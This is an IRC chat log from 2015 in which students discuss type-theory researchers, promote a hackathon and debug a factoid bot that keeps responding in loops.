[2015-02-08T15:17:30-0500] <+awe> Well, have either "type system" or "type theory"
[2015-02-08T15:18:11-0500] <+awe> JacobEdelman: http://www.scopus.com/record/display.url?eid=2-s2.0-78249264133&origin=inward&txGid=8E4741FFAF8F1ED60BDCA453419D3F84.zQKnzAySRvJOZYcdfIziQ%3a6
[2015-02-08T15:18:18-0500] <+awe> JacobEdelman: this is so cool
[2015-02-08T15:19:47-0500] <+awe> So, that's four schools.
[2015-02-08T15:19:54-0500] <+awe> Princeton, UPenn, Cornell, and Glasgow.
[2015-02-08T15:22:34-0500] <JacobEdelman> awe: the scopus link doesn't work
[2015-02-08T15:22:43-0500] <+awe> Wat?
[2015-02-08T15:22:48-0500] <+awe> Oh, fuck.
[2015-02-08T15:22:49-0500] <+awe> It doesn't.
[2015-02-08T15:22:50-0500] <JacobEdelman> awe: says I'm outisde of my institions network
[2015-02-08T15:22:51-0500] <JacobEdelman> :P
[2015-02-08T15:22:58-0500] <+awe> http://www.seas.upenn.edu/directory/profile.php?ID=72
[2015-02-08T15:23:07-0500] <JacobEdelman> also, check your pms
[2015-02-08T15:23:07-0500] <+awe> Click the paper that says Distance makes the types grow stronger
[2015-02-08T15:25:47-0500] <+awe> JacobEdelman: ^
[2015-02-08T15:25:50-0500] <+awe> JacobEdelman: do it
[2015-02-08T15:27:22-0500] <+LittleBobbyTables> awe guess what
[2015-02-08T15:27:26-0500] <+awe> LittleBobbyTables: wat?
[2015-02-08T15:28:36-0500] <+awe> JacobEdelman: http://sprunge.us/XFHW
[2015-02-08T15:28:38-0500] <+awe> JacobEdelman: there's the abstract.
[2015-02-08T15:28:58-0500] <JacobEdelman> ooh, I've seen lectures on differntial privacy
[2015-02-08T15:29:19-0500] <JacobEdelman> oh wow
[2015-02-08T15:29:23-0500] <JacobEdelman> that abstract is awesome
[2015-02-08T15:29:23-0500] <+LittleBobbyTables> http://i.imgur.com/rIIBdzy.jpg
[2015-02-08T15:29:24-0500] <JacobEdelman> I admit
[2015-02-08T15:29:25-0500] <+LittleBobbyTables> ^ awe
[2015-02-08T15:29:33-0500] <+awe> JacobEdelman: this guy is amazing
[2015-02-08T15:29:38-0500] <+awe> LittleBobbyTables: lol
[2015-02-08T15:29:38-0500] <JacobEdelman> LittleBobbyTables: .... really?
[2015-02-08T15:29:40-0500] <+awe> LittleBobbyTables: gg
[2015-02-08T15:29:45-0500] <+LittleBobbyTables> ^_^
[2015-02-08T15:30:41-0500] <+LittleBobbyTables> bet you didn't see that coming
[2015-02-08T15:37:59-0500] <+awe> http://www.cs.princeton.edu/people/profile/dpw
[2015-02-08T15:38:01-0500] <+awe> This guy is cool.
[2015-02-08T15:38:02-0500] <+awe> Very cool.
[2015-02-08T15:38:06-0500] <+LittleBobbyTables> thanks
[2015-02-08T15:38:08-0500] <+LittleBobbyTables> I try
[2015-02-08T15:38:10-0500] <+awe> His paper "From System F to Typed Assembly Language" won a 10-year retrospective award for the most influential paper
[2015-02-08T15:38:16-0500] <+awe> That's really cool.
[2015-02-08T15:41:05-0500] <JacobEdelman> yes, it is
[2015-02-08T15:41:21-0500] <JacobEdelman> (I'm guessing thats behind haskell to some extent?)
[2015-02-08T15:42:00-0500] <+awe> System F.
[2015-02-08T15:42:01-0500] <+awe> Yah.
[2015-02-08T15:42:10-0500] <+awe> Well, Haskell uses something derivative of System F-Omega.
[2015-02-08T15:42:12-0500] <+awe> But similar idea.
[2015-02-08T15:45:14-0500] <alokpathy> awe: CMU?
[2015-02-08T15:51:49-0500] <JacobEdelman> my la essay draft as of now:
[2015-02-08T15:51:56-0500] <JacobEdelman> "ideas....boom?"
[2015-02-08T16:15:26-0500] <+awe> alokpathy: their website makes it impossible to browse research areas.
[2015-02-08T16:16:50-0500] <+awe> alokpathy: you can search faculty by research area.
[2015-02-08T16:20:03-0500] <+awe> alokpathy: looking at individual faculty, there are some people at CMU who would interest me.
[2015-02-08T16:20:28-0500] <+awe> http://www.cs.cmu.edu/~rwh/ is a member of the SML community.
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[2015-02-08T16:27:33-0500] <+awe> JacobEdelman: have you seen the qdb lately?
[2015-02-08T16:46:50-0500] <+awe> http://frenetic-lang.org/members.php
[2015-02-08T16:46:53-0500] <+awe> JacobEdelman: alokpathy ^
[2015-02-08T16:48:59-0500] <Hyper> eyy highschoolers sign up for https://cstuy.org/programs/defhacks
[2015-02-08T16:53:39-0500] <+hardmath123> awe: are you just collecting lists of people?
[2015-02-08T16:54:09-0500] <+awe> I was trying topoint out that Arjun is a professor at my school.
[2015-02-08T16:54:14-0500] <+awe> Who I've actually heard of.
[2015-02-08T16:54:46-0500] <+hardmath123> Hyper: "Where: TBA" I'd rather sign up when I know where it is.
[2015-02-08T16:54:54-0500] <Hyper> hardmath123: New york city
[2015-02-08T16:55:01-0500] <+hardmath123> oh
[2015-02-08T16:55:02-0500] <Hyper> the exact location is TBA
[2015-02-08T16:55:05-0500] <+hardmath123> do you pay for travel?
[2015-02-08T16:55:15-0500] <Hyper> Not sure, probablyy?
[2015-02-08T16:55:21-0500] <Hyper> erm
[2015-02-08T16:55:29-0500] <Hyper> note: I'm not running this
[2015-02-08T16:55:32-0500] <Hyper> i'm mentoring
[2015-02-08T16:55:34-0500] <+hardmath123> oh
[2015-02-08T16:55:45-0500] <Hyper> I know the people running it
[2015-02-08T16:57:02-0500] <Hyper> hardmath123: how far from NYC are you?
[2015-02-08T16:58:10-0500] <+awe> Across the country.
[2015-02-08T16:58:46-0500] <Hyper> ok that might be a bit hard :<
[2015-02-08T16:59:05-0500] <Hyper> yeah i'm not sure if travel is being covered
[2015-02-08T16:59:27-0500] <Hyper> but there's an email on that page to ask :)
[2015-02-08T17:14:07-0500] <alokpathy> awe: onice
[2015-02-08T17:14:35-0500] <alokpathy> awe: What's frenetic lang?
[2015-02-08T17:14:45-0500] <+awe> alokpathy: It's a networking programming language
[2015-02-08T17:18:34-0500] <alokpathy> awe: Ah, okay.
[2015-02-08T17:22:36-0500] <+awe> It's Cornell + Princeton
[2015-02-08T17:22:39-0500] <+awe> Cornell is doing the OCaml side.
[2015-02-08T17:22:44-0500] <+awe> Princeton is doing the Python side.
[2015-02-08T17:22:49-0500] <+awe> And then there's just one Amherst guy working on it.
[2015-02-08T17:33:49-0500] <JacobEdelman> awe, just to check
[2015-02-08T17:33:56-0500] <JacobEdelman> did the lewd messages feature
[2015-02-08T17:33:59-0500] <JacobEdelman> come after or before
[2015-02-08T17:34:01-0500] <JacobEdelman> 8:13 PM <~JacobEdelman> Pidgey has been PMing me lewd messages for weeks
[2015-02-08T17:34:01-0500] <JacobEdelman> 8:18 PM <awe> Welp, I thought I turned that feature off.
[2015-02-08T17:34:05-0500] <+awe> After.
[2015-02-08T17:34:06-0500] <JacobEdelman> ?
[2015-02-08T17:34:07-0500] <+awe> Obviously.
[2015-02-08T17:34:08-0500] <JacobEdelman> okay
[2015-02-08T17:34:12-0500] <JacobEdelman> thats what I thought
[2015-02-08T17:34:19-0500] <JacobEdelman> but I wouldn't put it past you :P
[2015-02-08T17:34:27-0500] <JacobEdelman> also, how many possible messages did you make?
[2015-02-08T17:35:05-0500] <+awe> There's like 30 options or something.
[2015-02-08T17:35:10-0500] <+awe> I should add more.
[2015-02-08T17:35:39-0500] <JacobEdelman> make it 
[2015-02-08T17:35:43-0500] <JacobEdelman> so when awebot is pmed
[2015-02-08T17:35:50-0500] <JacobEdelman> it responds as an eliza chat bot
[2015-02-08T17:35:54-0500] <JacobEdelman> thats extremely lewd
[2015-02-08T17:37:04-0500] <+hardmath123> you know what my problem is?
[2015-02-08T17:37:13-0500] <+hardmath123> I like to do things in large blocks of time
[2015-02-08T17:37:28-0500] <+hardmath123> i can't do something and then put it away and then continue later
[2015-02-08T17:38:38-0500] <+awe> JacobEdelman: no thanks.
[2015-02-08T17:38:45-0500] <+awe> hardmath123: that's an issue.
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[2015-02-08T18:52:59-0500] JacobEdelman is now known as Bucket
[2015-02-08T18:53:03-0500] Bucket is now known as JacobEdelman
[2015-02-08T18:53:13-0500] <JacobEdelman> hmmm....
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[2015-02-08T18:53:52-0500] <+ubuntor> hm?
[2015-02-08T18:53:56-0500] <JacobEdelman_> wait
[2015-02-08T18:54:02-0500] <JacobEdelman_> and ... fail!
[2015-02-08T18:54:45-0500] <JacobEdelman_> and....
[2015-02-08T18:54:55-0500] <JacobEdelman_> hmmm
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[2015-02-08T18:55:09-0500] <JacobEdelman_> yeah
[2015-02-08T18:55:13-0500] <JacobEdelman_> hmmm
[2015-02-08T18:55:22-0500] <JacobEdelman_> bucketClone: do you work?
[2015-02-08T18:56:20-0500] <JacobEdelman_> bucketClone: JacobEdelman is amazing
[2015-02-08T18:56:23-0500] <JacobEdelman_> JacobEdelman
[2015-02-08T18:56:25-0500] <JacobEdelman_> ...
[2015-02-08T18:56:29-0500] <JacobEdelman_> this is dissapointing
[2015-02-08T18:56:33-0500] <JacobEdelman_> oh wait
[2015-02-08T18:56:40-0500] <JacobEdelman> bucketClone: JacobEdelman is amazing
[2015-02-08T18:56:44-0500] <JacobEdelman> JacobEdelman
[2015-02-08T18:56:56-0500] <JacobEdelman_> oh, it failed
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[2015-02-08T18:58:18-0500] <JacobEdelman> and....
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[2015-02-08T18:58:31-0500] <JacobEdelman> bucketClone: JacobEdelman is amazing
[2015-02-08T18:58:34-0500] <JacobEdelman> JacobEdelman
[2015-02-08T18:58:49-0500] <JacobEdelman> buckClone: JacobEdelman
[2015-02-08T18:58:52-0500] <bucketClone> Please don't edit your own factoids, JacobEdelman.
[2015-02-08T18:58:58-0500] <JacobEdelman> ...
[2015-02-08T18:59:01-0500] <JacobEdelman> hmmm
[2015-02-08T18:59:05-0500] <JacobEdelman> bucketClone: JacobEdelman
[2015-02-08T18:59:15-0500] <JacobEdelman> JacobEdelman is what
[2015-02-08T18:59:40-0500] <JacobEdelman> hmm...
[2015-02-08T18:59:41-0500] <bucketClone> Can't talk, zombies!
[2015-02-08T18:59:45-0500] <JacobEdelman> ...
[2015-02-08T18:59:49-0500] <JacobEdelman> fine
[2015-02-08T18:59:57-0500] <JacobEdelman> bucket: do you listen to this?
[2015-02-08T19:00:19-0500] <JacobEdelman> bucketClone: deli is sat
[2015-02-08T19:00:22-0500] <JacobEdelman> deli
[2015-02-08T19:00:24-0500] <JacobEdelman> deli is a dog
[2015-02-08T19:00:25-0500] <JacobEdelman> ...
[2015-02-08T19:00:49-0500] <JacobEdelman> bucketClone: deli
[2015-02-08T19:00:49-0500] <bucketClone> Okay, JacobEdelman.
[2015-02-08T19:00:51-0500] <JacobEdelman> ...
[2015-02-08T19:00:53-0500] <JacobEdelman> what?
[2015-02-08T19:00:57-0500] <JacobEdelman> why does it hate me
[2015-02-08T19:01:05-0500] <JacobEdelman_> deli
[2015-02-08T19:01:37-0500] <JacobEdelman> ooh
[2015-02-08T19:01:49-0500] <JacobEdelman> bucketClone: abcdefg is testing
[2015-02-08T19:01:52-0500] <JacobEdelman> abcdefg
[2015-02-08T19:02:03-0500] <JacobEdelman> bucketClone: abcdefg
[2015-02-08T19:02:10-0500] <JacobEdelman> bucketClone: testing
[2015-02-08T19:02:16-0500] <JacobEdelman> well, I'll more to a diff channel
[2015-02-08T19:02:19-0500] <JacobEdelman> to test it
[2015-02-08T19:02:32-0500] <JacobEdelman> #bucket fyi
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[2015-02-08T19:07:27-0500] <Tub> deli is sat
[2015-02-08T19:17:25-0500] <+hardmath123> Tub: who are you?
[2015-02-08T19:17:25-0500] <Tub> Okay, hardmath123.
[2015-02-08T19:17:37-0500] <+hardmath123> *facepalm*
[2015-02-08T19:17:39-0500] <+hardmath123> who
[2015-02-08T19:17:41-0500] <+hardmath123> Tub: who
[2015-02-08T19:17:42-0500] <Tub> who are you?
[2015-02-08T19:17:49-0500] <+hardmath123> Tub: forget that
[2015-02-08T19:17:55-0500] <Tub> Not a bloody clue, sir.
[2015-02-08T19:18:04-0500] <+hardmath123> Tub: who
[2015-02-08T19:18:17-0500] <Tub> who are you?
[2015-02-08T19:18:23-0500] <+hardmath123> Tub: what was that?
[2015-02-08T19:18:47-0500] <Tub> hardmath123: That was 'who' (#35): are you?
[2015-02-08T19:18:52-0500] <+hardmath123> Tub: forget that
[2015-02-08T19:19:19-0500] <Tub> I'm sorry, there's currently nothing associated with that keyphrase.
[2015-02-08T19:22:28-0500] <Tub> who are you?
[2015-02-08T19:22:58-0500] <+hardmath123> Tub: shut up
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[2015-02-08T19:36:09-0500] <JacobEdelman> ...
[2015-02-08T19:36:46-0500] <JacobEdelman> lol
[2015-02-08T19:37:12-0500] <JacobEdelman> and...
[2015-02-08T19:37:26-0500] Tub (bucket@pdgn-tvi.nmt.kp37su.IP) joined the channel
[2015-02-08T19:37:44-0500] <JacobEdelman> awebot sent me a lewd message again
[2015-02-08T19:37:52-0500] <JacobEdelman> [19:01:08] <awebot> Want to play army? I'll lay down, and you can blow the hell out of me.
[2015-02-08T19:38:01-0500] <JacobEdelman> I believe that ties me for most attractive to awebot
[2015-02-08T19:39:09-0500] <JacobEdelman> Tub: who
[2015-02-08T19:39:30-0500] <JacobEdelman> hmm... 
[2015-02-08T19:39:31-0500] <JacobEdelman> Tub: who
[2015-02-08T19:39:38-0500] <JacobEdelman> TubL who are you?
[2015-02-08T19:39:41-0500] <JacobEdelman> Tub: who are you?
[2015-02-08T19:39:45-0500] <Tub> who are you?
[2015-02-08T19:39:47-0500] <JacobEdelman> TubL who
[2015-02-08T19:39:47-0500] <Tub> who are you?
[2015-02-08T19:39:49-0500] <Tub> JacobEdelman: I already had it that way
[2015-02-08T19:39:50-0500] <JacobEdelman> good
[2015-02-08T19:39:53-0500] <JacobEdelman> well
[2015-02-08T19:40:03-0500] <JacobEdelman> Tub: what was that
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[2015-02-08T19:40:43-0500] • JacobEdelman: puts a duck in Tub
[2015-02-08T19:40:53-0500] Tub (bucket@pdgn-tvi.nmt.kp37su.IP) joined the channel
[2015-02-08T19:40:57-0500] • JacobEdelman: puts a duck in Tub
[2015-02-08T19:41:04-0500] <+hardmath123> JacobEdelman: test on #bucket pls
[2015-02-08T19:41:10-0500] <JacobEdelman> ah, okay
[2015-02-08T19:41:20-0500] <Tub> Okay, JacobEdelman.
[2015-02-08T19:41:22-0500] <alokpathy> Tub: Welcome to pdgn :D
[2015-02-08T19:41:44-0500] <alokpathy> Wait
[2015-02-08T19:41:55-0500] <Tub> I don't know anything about that.
[2015-02-08T19:42:03-0500] <alokpathy> Tub: who
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[2015-02-08T19:42:13-0500] <alokpathy> Dang I thought he was real at first.
[2015-02-08T19:43:54-0500] <JacobEdelman> Tub == BucketClone
[2015-02-08T19:43:55-0500] <JacobEdelman> :P
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[2015-02-08T19:44:59-0500] <calc0000> @whois Tub
[2015-02-08T19:44:59-0500] <awebot> calc0000: I don't know who Tub is.
[2015-02-08T19:48:38-0500] <Tub> deli is sat
[2015-02-08T19:49:29-0500] <+hardmath123> Tub: @iam is bad at grammar.
[2015-02-08T19:49:29-0500] <Tub> Okay, hardmath123.
[2015-02-08T19:49:34-0500] <+hardmath123> Tub: @iam
[2015-02-08T19:49:34-0500] <Tub> @iam is bad at grammar.
[2015-02-08T19:49:34-0500] <awebot> Tub: Got it!
[2015-02-08T19:49:34-0500] <Tub> I'm sorry, there's currently nothing associated with that keyphrase.
[2015-02-08T19:49:42-0500] <+hardmath123> @whois Tub 
[2015-02-08T19:49:42-0500] <awebot> hardmath123: Tub is is bad at grammar.
[2015-02-08T19:49:45-0500] <+hardmath123> YESSS
[2015-02-08T19:49:53-0500] • hardmath123: levels up.
[2015-02-08T19:51:28-0500] <+LittleBobbyTables> @whois hardmath123
[2015-02-08T19:51:28-0500] <awebot> LittleBobbyTables: hardmath123 is a southpaw.
[2015-02-08T19:52:00-0500] <+LittleBobbyTables> @iam #16 osu player
[2015-02-08T19:52:00-0500] <awebot> LittleBobbyTables: Got it!
[2015-02-08T19:53:01-0500] <JacobEdelman> wow, LittleBobbyTables, such humility
[2015-02-08T19:53:17-0500] <JacobEdelman> wait
[2015-02-08T19:53:18-0500] <JacobEdelman> wow
[2015-02-08T19:53:25-0500] <+hardmath123> do you want me to break it?
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[2015-02-08T19:53:44-0500] <+hardmath123> is that a no?
[2015-02-08T19:53:46-0500] <+hardmath123> *sigh*
[2015-02-08T19:54:16-0500] <JacobEdelman> you can if you want
[2015-02-08T19:54:18-0500] <JacobEdelman> but 
[2015-02-08T19:54:25-0500] <JacobEdelman> i want to know
[2015-02-08T19:54:29-0500] <JacobEdelman> if it works in the first place
[2015-02-08T19:54:40-0500] <JacobEdelman> I mean, right now the delated message thing is coming up
[2015-02-08T19:54:45-0500] <+hardmath123> I was going to put awebot and Tub into an infinite loop.
[2015-02-08T19:54:52-0500] <JacobEdelman> lol, nah
[2015-02-08T19:54:53-0500] <JacobEdelman> first
[2015-02-08T19:54:56-0500] <JacobEdelman> discover
[2015-02-08T19:54:58-0500] <JacobEdelman> if Tub works
[2015-02-08T19:55:03-0500] <JacobEdelman> cause its printing
[2015-02-08T19:55:12-0500] <JacobEdelman> that "Message Delayed" thing
[2015-02-08T19:55:15-0500] <JacobEdelman> right now like crazy
[2015-02-08T19:55:54-0500] <+LittleBobbyTables> put them into an infinite loop ^_^
[2015-02-08T19:56:03-0500] <JacobEdelman> Tub: do you love me?
[2015-02-08T19:56:13-0500] <JacobEdelman> Tub: .... race condition or something?
[2015-02-08T19:56:36-0500] <+hardmath123> Tub isn't even here :P
[2015-02-08T19:56:52-0500] <JacobEdelman> ooooh
[2015-02-08T19:56:54-0500] <JacobEdelman> okay
[2015-02-08T19:56:58-0500] <JacobEdelman> restarting it now
[2015-02-08T19:57:05-0500] <JacobEdelman> with no plugins at all
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[2015-02-08T19:57:15-0500] <JacobEdelman> Tub: do you love me?
[2015-02-08T19:57:37-0500] <Tub> I cannot access that data.
[2015-02-08T19:57:49-0500] <JacobEdelman> that came up on my computer instantly
[2015-02-08T19:57:58-0500] <JacobEdelman> hmmm... but
[2015-02-08T19:58:00-0500] <JacobEdelman> Tub: do you love me?
[2015-02-08T19:58:07-0500] <JacobEdelman> nope, still being weird
[2015-02-08T19:58:24-0500] <JacobEdelman> awe: why is there such a big problem here?
[2015-02-08T19:58:32-0500] <JacobEdelman> it knows the message to send
[2015-02-08T19:58:38-0500] <JacobEdelman> is anything about pdgn delaying it?
[2015-02-08T19:58:39-0500] <Tub> I cannot access that data.
[2015-02-08T19:59:10-0500] <JacobEdelman> hmmm
[2015-02-08T19:59:12-0500] <JacobEdelman> Tub: do you love me?
[2015-02-08T19:59:12-0500] <Tub> UNCAUGHT EXCEPTION: TERMINATING
[2015-02-08T19:59:13-0500] <JacobEdelman> Tub: do you love me?
[2015-02-08T19:59:13-0500] <Tub> Error at 0x08: Reference not found
[2015-02-08T19:59:14-0500] <JacobEdelman> Tub: do you love me?
[2015-02-08T19:59:14-0500] <Tub> Not a bloody clue, sir.
[2015-02-08T19:59:16-0500] <JacobEdelman> oh wow
[2015-02-08T19:59:18-0500] <+hardmath123> Tub: @iam is a thing.
[2015-02-08T19:59:18-0500] <Tub> Okay, hardmath123.
[2015-02-08T19:59:19-0500] <JacobEdelman> so fast now
[2015-02-08T19:59:26-0500] <+hardmath123> Tub: Got is @iam is a thing.
[2015-02-08T19:59:26-0500] <Tub> Okay, hardmath123.
[2015-02-08T19:59:29-0500] <+hardmath123> Tub: Got
[2015-02-08T19:59:29-0500] <Tub> Got is @iam is a thing.
[2015-02-08T19:59:42-0500] <+hardmath123> Tub: @iam
[2015-02-08T19:59:42-0500] <Tub> @iam is a thing.
[2015-02-08T19:59:42-0500] <awebot> Tub: Got it!
[2015-02-08T19:59:42-0500] <Tub> Can't talk, zombies!
[2015-02-08T20:00:00-0500] <+hardmath123> Tub: Got it is @iam is a thing.
[2015-02-08T20:00:00-0500] <Tub> Okay, hardmath123.
[2015-02-08T20:00:02-0500] <+hardmath123> Tub: @iam
[2015-02-08T20:00:02-0500] <Tub> @iam is bad at grammar.
[2015-02-08T20:00:02-0500] <awebot> Tub: Got it!
[2015-02-08T20:00:02-0500] <Tub> Got it is @iam is a thing.
[2015-02-08T20:00:07-0500] <+hardmath123> gah
[2015-02-08T20:00:19-0500] <JacobEdelman> Tub: Got it are @iam is a thing.
[2015-02-08T20:00:19-0500] <Tub> JacobEdelman: I already had it that way
[2015-02-08T20:00:23-0500] <JacobEdelman> hmmm...
[2015-02-08T20:00:31-0500] <+hardmath123> Tub: Got it <reply> @iam is a thing.
[2015-02-08T20:00:43-0500] <+hardmath123> Tub: @iam
[2015-02-08T20:00:51-0500] <+hardmath123> ...
[2015-02-08T20:00:52-0500] <JacobEdelman> oh, yeah, just saw that on the wiki
[2015-02-08T20:00:54-0500] <JacobEdelman> you beat me to it
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[2015-02-08T20:01:01-0500] <JacobEdelman> it errored
[2015-02-08T20:01:03-0500] <JacobEdelman> lemme restart it
[2015-02-08T20:01:11-0500] <JacobEdelman> by errored I mean weird loopy thing
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[2015-02-08T20:01:42-0500] <+hardmath123> Tub: Got it <reply> @iam is a thing.
[2015-02-08T20:01:48-0500] <+hardmath123> Tub: @iam is a thing.
[2015-02-08T20:01:57-0500] <Tub> hardmath123: I already had it that way
[2015-02-08T20:02:07-0500] <Tub> hardmath123: I already had it that way
[2015-02-08T20:02:27-0500] <JacobEdelman> Tub: Got it
[2015-02-08T20:02:48-0500] <JacobEdelman> its lagging right now
[2015-02-08T20:02:51-0500] <JacobEdelman> give it a bit
[2015-02-08T20:03:02-0500] <Tub> Got it is @iam is a thing.
[2015-02-08T20:03:49-0500] <JacobEdelman> Tub: forget that
[2015-02-08T20:03:49-0500] <Tub> Can't talk, zombies!
[2015-02-08T20:04:11-0500] <+hardmath123> Tub: @iam
[2015-02-08T20:04:11-0500] <Tub> @iam is bad at grammar.
[2015-02-08T20:04:11-0500] <awebot> Tub: Got it!
[2015-02-08T20:04:11-0500] <Tub> Got it is @iam is a thing.
[2015-02-08T20:04:21-0500] <+hardmath123> Tub: Got it<reply>@iam is a thing.
[2015-02-08T20:04:22-0500] <Tub> Okay, hardmath123.
[2015-02-08T20:04:24-0500] <+hardmath123> Tub: @iam
[2015-02-08T20:04:25-0500] <Tub> @iam is bad at grammar.
[2015-02-08T20:04:25-0500] <awebot> Tub: Got it!
[2015-02-08T20:04:25-0500] <Tub> Got it is @iam is a thing.
[2015-02-08T20:04:29-0500] <+hardmath123> Tub: @iam
[2015-02-08T20:04:30-0500] <Tub> @iam is a thing.
[2015-02-08T20:04:30-0500] <awebot> Tub: Got it!
[2015-02-08T20:04:30-0500] <Tub> Got it is @iam is a thing.
[2015-02-08T20:04:32-0500] <+hardmath123> Tub: @iam
[2015-02-08T20:04:32-0500] <Tub> @iam is a thing.
[2015-02-08T20:04:32-0500] <awebot> Tub: Got it!
[2015-02-08T20:04:32-0500] <Tub> Got it is @iam is a thing.
[2015-02-08T20:04:52-0500] <+hardmath123> Tub: what was that?
[2015-02-08T20:04:52-0500] <Tub> hardmath123: That was 'Got it' (#39): is @iam is a thing.
[2015-02-08T20:04:56-0500] <+hardmath123> Tub: forget that
[2015-02-08T20:04:56-0500] <Tub> I don't know
[2015-02-08T20:05:00-0500] <+hardmath123> Tub: what was that?
[2015-02-08T20:05:00-0500] <Tub> hardmath123: That was 'Got it' (#39): is @iam is a thing.
[2015-02-08T20:05:05-0500] <+hardmath123> Tub: forget 39
[2015-02-08T20:05:05-0500] <Tub> I cannot access that data.
[2015-02-08T20:05:08-0500] <+hardmath123> Tub: @iam
[2015-02-08T20:05:08-0500] <Tub> @iam is a thing.
[2015-02-08T20:05:08-0500] <awebot> Tub: Got it!
[2015-02-08T20:05:08-0500] <Tub> Got it is @iam is a thing.
[2015-02-08T20:05:16-0500] • hardmath123: gives up.
[2015-02-08T20:09:15-0500] <Tub> Got it is @iam is a thing.
[2015-02-08T20:10:24-0500] <+hardmath123> grrrrrrrrrrrrrrr
[2015-02-08T20:10:32-0500] <+hardmath123> Tub: shut up
[2015-02-08T20:10:32-0500] <Tub> Okay, hardmath123 - be back in a bit!
[2015-02-08T20:10:48-0500] <JacobEdelman> Tub: unshut up
[2015-02-08T20:10:52-0500] <+hardmath123> lol
[2015-02-08T20:10:57-0500] <+hardmath123> Tub: open down
[2015-02-08T20:11:31-0500] <JacobEdelman> Tub: open up
[2015-02-08T20:11:40-0500] <+hardmath123> Tub: shut down
[2015-02-08T20:11:49-0500] <+hardmath123> oh don't take that literallly
[2015-02-08T20:13:01-0500] <JacobEdelman> Tub: unshut up
[2015-02-08T20:13:04-0500] <JacobEdelman> that is a thing
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[2015-02-08T20:15:25-0500] <JacobEdelman> Tub: hi!
[2015-02-08T20:15:36-0500] <Tub> Can't talk, zombies!
[2015-02-08T20:15:43-0500] <Hyper> JacobEdelman: DID YOU SIGN UP?
[2015-02-08T20:16:09-0500] <JacobEdelman> what, for that defcon thing? what was the link?
[2015-02-08T20:16:18-0500] <Hyper> https://cstuy.org/programs/defhacks
[2015-02-08T20:16:22-0500] <Hyper> it's a hackathon
[2015-02-08T20:16:26-0500] <Hyper> the one I'm mentoring
[2015-02-08T20:16:30-0500] <Hyper> for hs students
[2015-02-08T20:16:34-0500] <Hyper> in NYC
[2015-02-08T20:16:41-0500] <Hyper> organized by my old CS teacher
[2015-02-08T20:17:10-0500] <Hyper> actually a bunch of my old CS teachers :)
[2015-02-08T20:17:19-0500] <Hyper> basically stuy's CS dept.
[2015-02-08T20:20:54-0500] <Tub> who are you?
[2015-02-08T20:21:26-0500] <Hyper> Tub: ?
[2015-02-08T20:21:26-0500] <Tub> Error at 0x08: Reference not found
[2015-02-08T20:21:29-0500] <Hyper> lol
[2015-02-08T20:21:31-0500] <Hyper> Tub: test
[2015-02-08T20:21:31-0500] <Tub> Not a bloody clue, sir.
[2015-02-08T20:21:33-0500] <Hyper> Tub: heh
[2015-02-08T20:21:33-0500] <Tub> I cannot access that data.
[2015-02-08T20:21:36-0500] <Hyper> Tub: q.q
[2015-02-08T20:21:36-0500] <Tub> I do not know.
[2015-02-08T20:21:38-0500] <Hyper> fun
[2015-02-08T20:24:54-0500] <Tub> @iam is bad at grammar.
[2015-02-08T20:24:54-0500] <awebot> Tub: Got it!
[2015-02-08T20:24:54-0500] <Tub> Got it is @iam is a thing.
[2015-02-08T20:27:54-0500] <Tub> who are you?
[2015-02-08T20:28:11-0500] <JacobEdelman> wow
[2015-02-08T20:28:15-0500] <JacobEdelman> Tub: forget that
[2015-02-08T20:28:16-0500] <Tub> I don't know anything about that.
[2015-02-08T20:28:29-0500] <JacobEdelman> Tub: what was that?
[2015-02-08T20:28:29-0500] <Tub> JacobEdelman: That was 'who' (#35): are you?
[2015-02-08T20:28:38-0500] <JacobEdelman> Tub: forget that
[2015-02-08T20:28:38-0500] <Tub> Can't talk, zombies!
[2015-02-08T20:28:42-0500] <JacobEdelman> ...
[2015-02-08T20:31:54-0500] <Tub> deli is sat
[2015-02-08T20:32:13-0500] <+hardmath123> http://hardmath123.github.io/embracing-types.html
[2015-02-08T20:32:18-0500] <+hardmath123> I sense awe is going to tear this one apart.
[2015-02-08T20:32:25-0500] <+hardmath123> Or, alternatively, love me forever.
[2015-02-08T20:32:27-0500] <+hardmath123> Hard to tell.
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[2015-02-08T20:45:09-0500] <Tub> Got it<reply>@iam is a thing.
[2015-02-08T20:46:02-0500] <+hardmath123> oh
[2015-02-08T20:46:17-0500] <+hardmath123> Got it<reply>@iam Tubby
[2015-02-08T20:46:22-0500] <+hardmath123> Tub: Got it<reply>@iam Tubby
[2015-02-08T20:46:23-0500] <Tub> I'm sorry, there's currently nothing associated with that keyphrase.
[2015-02-08T20:46:31-0500] <JacobEdelman> wait, what?
[2015-02-08T20:46:50-0500] <+hardmath123> "Got it<reply>@iam is a thing." got parsed as "(Got it<reply>@iam) is (a thing.)"
[2015-02-08T20:47:04-0500] <+hardmath123> not (Got it)<reply>(@iam is a thing.)
[2015-02-08T20:50:10-0500] <Tub> Got it<reply>@iam is a thing.
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[2015-02-08T21:02:11-0500] <+LittleBobbyTables> " This means that you must not ask other students, instructors, acquaintances, paid consultants, Facebook friends, etc. for help. "
[2015-02-08T21:02:13-0500] <+LittleBobbyTables> damn.
[2015-02-08T21:03:03-0500] <+hardmath123> We don't count, we're not facebook friends and we're hopefully above "acquaintance" status.
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[2015-02-08T21:03:12-0500] <Hyper> but what about shady figures, cloaked in darkness?
[2015-02-08T21:03:36-0500] <Hyper> What if you don't ask them for help, but they help you anyways?
[2015-02-08T21:03:55-0500] <Hyper> What constitutes a request for help?
[2015-02-08T21:04:16-0500] <Hyper> Can you request help via a third party?
[2015-02-08T21:04:22-0500] <+LittleBobbyTables> hardmath123: that's what I was debating. Are you guys acquaintences?
[2015-02-08T21:04:31-0500] <Hyper> What if you ask a machine
[2015-02-08T21:04:31-0500] <+LittleBobbyTables> tances*
[2015-02-08T21:04:54-0500] <Hyper> What if you make demands instead of requests?
[2015-02-08T21:05:03-0500] <Hyper> Guys I'm asking all the important questions
[2015-02-08T21:05:24-0500] <+LittleBobbyTables> :/
[2015-02-08T21:05:53-0500] <Hyper> What if the problem is posed to us casually?
[2015-02-08T21:05:54-0500] <+hardmath123> what about unpaid consultabts?
[2015-02-08T21:06:37-0500] <+LittleBobbyTables> that definitely works.
[2015-02-08T21:06:43-0500] <Hyper> What if we have a Homework Action Committee (A HAC), with which you can not directly consult but which can funnel answers to you?
[2015-02-08T21:07:15-0500] <Hyper> So you use public statements to communicate your needs to said HAC
[2015-02-08T21:07:16-0500] <+LittleBobbyTables> How could I get the answers to you then?
[2015-02-08T21:07:33-0500] <Hyper> C'mon, all the politicians are doing it!
[2015-02-08T21:26:30-0500] <+LittleBobbyTables> https://www.irccloud.com/pastebin/rhxnzlou
